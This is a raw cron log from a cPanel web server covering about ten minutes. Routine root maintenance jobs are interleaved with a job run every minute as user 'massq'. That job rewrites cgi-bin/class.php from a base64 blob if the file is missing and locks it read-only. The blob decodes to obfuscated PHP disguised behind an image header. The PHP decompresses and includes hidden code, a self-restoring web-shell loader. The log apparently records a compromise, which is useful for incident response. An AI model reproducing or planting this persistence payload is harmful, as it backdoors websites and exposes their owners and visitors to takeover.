Sep 11 09:32:01 server CROND[3646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:32:01 server CROND[3647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:32:01 server CROND[3648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:33:01 server CROND[4032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:33:01 server CROND[4033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:33:01 server CROND[4034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:34:01 server CROND[4409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:34:01 server CROND[4410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:34:01 server CROND[4411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:35:01 server CROND[4804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 09:35:01 server CROND[4809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:35:01 server CROND[4812]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:35:01 server CROND[4813]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:35:01 server CROND[4815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:35:01 server CROND[4810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:35:01 server CROND[4816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:35:01 server CROND[4822]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 09:35:01 server CROND[4820]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 09:36:01 server CROND[5657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:36:01 server CROND[5658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:36:01 server CROND[5659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:37:01 server CROND[6135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:37:01 server CROND[6136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:37:01 server CROND[6137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:38:01 server CROND[6525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:38:01 server CROND[6527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:38:01 server CROND[6526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:39:01 server CROND[6903]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 09:39:01 server CROND[6904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:39:01 server CROND[6906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:39:01 server CROND[6905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:40:01 server CROND[7297]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:40:01 server CROND[7300]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:40:01 server CROND[7304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:40:01 server CROND[7301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:40:01 server CROND[7305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 09:40:01 server CROND[7302]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:40:01 server CROND[7303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:40:01 server CROND[7299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:41:01 server CROND[8135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:41:01 server CROND[8136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:41:01 server CROND[8138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:42:01 server CROND[8611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:42:01 server CROND[8610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:42:01 server CROND[8612]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 09:42:01 server CROND[8613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:43:01 server CROND[9045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:43:01 server CROND[9046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:43:01 server CROND[9047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
